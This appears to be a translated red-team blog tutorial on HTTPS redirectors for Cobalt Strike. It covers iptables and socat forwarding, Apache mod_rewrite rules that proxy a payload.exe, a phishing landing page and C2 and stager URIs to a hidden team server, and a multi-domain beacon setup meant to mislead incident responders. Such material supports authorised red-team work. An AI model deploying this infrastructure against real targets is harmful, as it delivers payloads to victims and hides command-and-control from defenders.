我已经写了很多关于使用重定向以及如何加强红队评估的文章。自从写了关于该主题的第一篇文章以来，我常收到的问题是如何对HTTPS流量做同样的事情。在这篇文章中，我将详细介绍不同的HTTPS重定向方法以及何时使用它们。

我想对Joe Vest（@joevest）表示感谢，他将HTTPS命令和控制（C2）重定向集成到cs2modrewrite 工具中，并指出了一些这种重定向所需的Apache配置。

一、Dumb管道重定向

重定向主要分为两类：dumb管道或过滤。顾名思义，dumb管道重定向只是将流量从其网络接口转发到另一个配置好的主机接口。这种类型的重定向上手很快，但本地不能控制重定向传入流量。因此，愚蠢的管道重定向会通过混淆C2服务器的真实IP地址来为追踪延长一些时间，但它不能阻碍防御者的调查。

由于以下两种方法不对流量进行任何条件过滤，因此它们可用于payload或C2重定向。

(一）iptables

使用Linux防火墙工具iptables，可以将特定端口上的所有传入流量转发给远程主机上的特定端口。这样就可以通过443（下面的第1行）获取任何TCP流量，并通过443（下面的第2行）将它重定向到后端服务器。将<REMOTE-HOST-IP-ADDRESS> 替换为后端服务器的IP地址，并使用root权限运行以下命令：

iptables -I INPUT -p tcp -m tcp --dport 443 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward=1

（二）socat

socat是用来创建相同类型的流量重定向的替代工具。下面的一行代码将重定向来自443端口（最下面的443）的任何流量到远程主机IP地址的443端口（最右边的443）。与之前一样，将<REMOTE-HOST-IP-ADDRESS>替换为后端服务器的IP地址。

默认情况下，socat在前台运行。虽然可以在后台运行该进程，但我建议在屏幕会话中运行socat，以便更轻松地进行动态重定向修改。

socat TCP4-LISTEN:443,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:443

如果重定向的流量很大（如C2），socat可能会开始遇到问题或使主机速度缓慢。如果遇到这些问题，请尝试iptables。

二、Apache mod_rewrite

虽然dumb管道重定向方便快捷，但过滤重定向提供了几乎无止境的方法来阻止防御者调查攻击者的基础结构。任何成熟的Web服务器技术都应该能够提供过滤重定向，但本文主要关注使用Apache及其mod_rewrite模块。

本节将重点介绍payload和C2重定向，因为重定向通常需要根据预期流量提供不同的功能。在以下示例中，攻击者的域名为spoofdomain.com，所有服务器操作系统均为Debian 9。

（一）首次建立

此技术需要几个一次性设置步骤。下述步骤包括为基础架构生成和使用LetsEncrypt证书，如果已在其他地方获得了证书或选择使用自签名证书，请跳过这些步骤。

Apache与SSL建立

要为流量重定向设置Apache mod_rewrite，需要做一些首次设置。有关初始设置的更多细节，请参阅我的第一篇mod_rewrite文章的mod_rewrite Basics 部分。

在重定向器上，使用root权限运行以下命令：

apt-get install apache2
a2enmod ssl rewrite proxy proxy_http
a2ensite default-ssl.conf
service apache2 restart

在Apache2配置文件（默认为/etc/apache2/apache2.conf）中，找到站点目录的Directory标记并将None更改为All：

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
</Directory>

使用LetsEncrypt生成证书

如果已经有了证书或希望使用自签名证书，则可以跳过本节中的步骤。

在Debian上生成LetsEncrypt证书：

sudo service apache2 stop
sudo apt-get install certbot
sudo certbot certonly --standalone -d spoofdomain.com -d www.spoofdomain.com

修改certbot命令以包含任何其他需要使用-d标志保护的子域。请注意，上面我们指定了根域以及www子域。

如果没有问题，证书文件将被保存到 /etc/letsencrypt/live/spoofdomain.com。

编辑SSL站点配置（默认情况下位于/etc/apache2/sites-enabled/default-ssl.conf），以便SSLCertificateFile和SSLCertificateKeyFile选项的文件路径与LetsEncrypt证书组件的路径一致：

SSLCertificateFile      /etc/letsencrypt/live/spoofdomain.com/cert.pem
SSLCertificateKeyFile   /etc/letsencrypt/live/spoofdomain.com/privkey.pem

另外，将以下代码添加到VirtualHost标记中的同一文件中：

# Enable SSL
SSLEngine On
# Enable Proxy
SSLProxyEngine On
# Trust Self-Signed Certificates generated by Cobalt Strike
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off

现在使用有效的LetsEncrypt证书进行基本的SSL安装。从这里开始，这篇文章将演示如何提供所需的payload文件或网页，以及如何重定向C2流量。

（二）Payload重定向

在设计攻击基础架构时，假设任何文件或payload都在社会工程或其他攻击路径中公共托管，成为payload重定向的一部分。在设置中，重定向会将任何有效的请求代理到相应的后端服务器，并将所有其他请求重定向到目标的真实404页面。这些文件可以使用HTTP或HTTPS托管;最终用户将看到spoofdomain.com的有效SSL连接。

下面是我们的设置：

SSL Payload 重定向

请注意，后端通过HTTP托管文件。我们正在做这个演示和简单的设置。

一旦在主机上完成了首次设置（见上文），在文件 /var/www/html/.htaccess中添加以下文本：

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(payload\.exe|landingpage\.html)/?$ [NC]
RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteRule ^.*$ http://example.com/404? [L,R=302]

以下为彩色代码细划了正在执行的规则：

Enable the rewrite engine
If the request's URI is either '/payload.exe' or '/landingpage.html' (with an optional trailing slash), ignoring case; 
Change the entire request to serve the original request path from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).
If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

注意上面的规则集，使用HTTP作为第一个RewriteRule，是因为仅使用HTTP在后端服务器上托管payload.exe和landingpage.html文件。

以下是在受害者浏览器中看到的landingpage.html文件：

重定向SSL到主机文件

请注意，尽管文件本身托管在另一台服务器上，但在浏览器URL栏中显示了spoofdomain.com。后端文件可以通过HTTPS或HTTP托管;两者将在目标浏览器中按预期显示。

这些文件也可以托管在Cobalt Strike团队服务器上。 Cobalt Strike 3.10及以上版本支持通过SSL托管社交工程攻击和文件。为此，需要从SSL证书创建keystore，将keystore上传到Cobalt Strike team服务器，并在服务器的Malleable C2配置文件中指定keystore。

生成Cobalt Strike的keystore：

openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out spoofdomain.p12 -name spoofdomain.com -passout pass:mypasskeytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore spoofdomain.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias spoofdomain.com

添加keystore到Malleable C2：

https-certificate {
 set keystore "spoofdomain.store";
  set password "mypass";
  }

当team服务器启动时，它将使用提供的keystore并启用SSL文件托管。

（三）C2重定向

命令和控制重定向在很大程度上与payload重定向类似，只不过htaccess文件需要允许C2，托管文件和stager URI。

所有C2 URI都在team服务器Malleable C2配置文件中指定set uri行，使用 %{REQUEST_URI} mod_rewrite变量返回到到team服务器。

Cobalt Strike可通过HTTP或HTTPS提供托管文件。通过HTTPS托管文件需要额外的步骤来创建keystore并修改Malleable C2配置文件;但是，它将简化重定向的htaccess文件规则集。如果选择通过HTTP托管文件，请确保重定向的htaccess规则代理HTTP，而不是HTTPS。

如果计划在攻击路径中使用任何分阶段的payload，则需要将Stager URI重定向回team服务器。默认情况下，Cobalt Strike stager URI是一个随机的四个字符的字符串。在Cobalt Strike 3.10和更新的版本中，可以通过正则表达式来实现，或者在http-stagerblock的Malleable C2配置文件中指定一个stager URI。

这是一个规则集，通过HTTP将payload.exe和landingpage.html的静态文件重定向到team服务器，同时通过HTTPS重定向/ legit-path-1和/ legit-path-2的C2 URI和/ stager的staging uri ：

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/(payload\.exe|landingpage\.html)/?$ [NC]
RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteCond %{REQUEST_URI} ^/(legit-path-1|legit-path-2|stager)/?$ [NC]
RewriteRule ^.*$ https://REMOTE-HOST-IP%{REQUEST_URI} [P]
RewriteRule ^.*$ http://example.com/404? [L,R=302]

以下为彩色代码细划了正在执行的规则：

Enable the rewrite engine
If the request's URI is either '/payload.exe' or '/landingpage.html' (with an optional trailing slash), ignoring case; 
Change the entire request to serve the original request path over HTTP from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).
If the request's URI is '/legit-path-1', '/legit-path-2', or '/stager' (with an optional trailing slash), ignoring case; 
Change the entire request to serve the original request path over HTTPS from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).
If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.

这显然是一个人为的例子，需要使用Malleable C2配置文件进行设置以提供一些规避策略，但上面的代码应该说明如何在HTTP和HTTPS之间混合使用。

有关Cobalt Strike C2重定向的更多信息，以及一些示例，请查看我的帖子Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite。

多个重定向到一个后端服务器

SSL重定向提供了使用不同SSL证书保护多个回联域名的有趣功能。由于证书可以是完全唯一的，因此此设置可以降低事件响应方基于证书元数据识别C2域名的风险。

以下是该设置：

使用多个域名的SSL重定向

为每个重定向设置自己的子段，遵循上面各节中详述的步骤。设置中的关键区别是在Cobalt Strike监听器设置期间在回联弹出窗口中指定了两个域名。以下是Cobalt Strike中的设置：

设置HTTPS监听以使用具有唯一证书的多个SSL域名

注意，我们指定phishdomain.com作为主监听器的主机以及Beacons字段中的两个域（phishdomain.com和spoofdomain.com）。我们还建立了一个指向另一个域名的外部监听器，以便在需要时通过spoofdomain.com站点。通过此设置，Beacon将在选定监听器的主机字段上转换，随后对beacon字段中指定的域名进行循环检查。

三、强制使用HTTPS

在某些设置中，可能需要强制所有流量通过HTTPS，而不允许混合。这种情况下，在htaccessruleset的RewriteEngine On行后添加以下几行：

RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^.*$ https://REDIRECTOR-DOMAIN.com%{REQUEST_URI} [L,R=301]

以下为彩色代码细划了正在执行的规则：

Enable the rewrite engine
If the request's SSL status is NOT "on",
Change the entire request to serve the original request path from REDIRECTOR-DOMAIN.com over HTTPS, and change the user's address bar show the redirection. Make the redirect permanent with a 301 code.

上面的规则集从AskApache.com（here）采用并略微修改。如果请求使用SSL / TLS，则%{HTTPS}变量将返回on，如果仅使用HTTP，则返回off。

四、总结

重定向是隐蔽攻击基础架构中的关键组件。它们被用来混淆后端基础架构，并且可能被用来混淆或迷惑正在调查事件的响应者。重定向流量混合到网络上的正常流量中。由于SSL / TLS的迅速增加，当重定向需要使用有效证书运行SSL / TLS时，就会碰到这样的问题。本文详细介绍了如何设置这些功能以及使用启用了SSL的重定向所具备的一些强大的功能，例如通过HTTPS Cobalt Strike监听器使用多个域名。

五、资源

· Automating Apache mod_rewrite and Cobalt Strike Malleable C2 for Intelligent Redirection – Joe Vest (@joevest)

· mod-rewrite-cheatsheet.com

· Official Apache 2.4 mod_rewrite Documentation

· Apache mod_rewrite Introduction

· An In-Depth Guide to mod_rewrite for Apache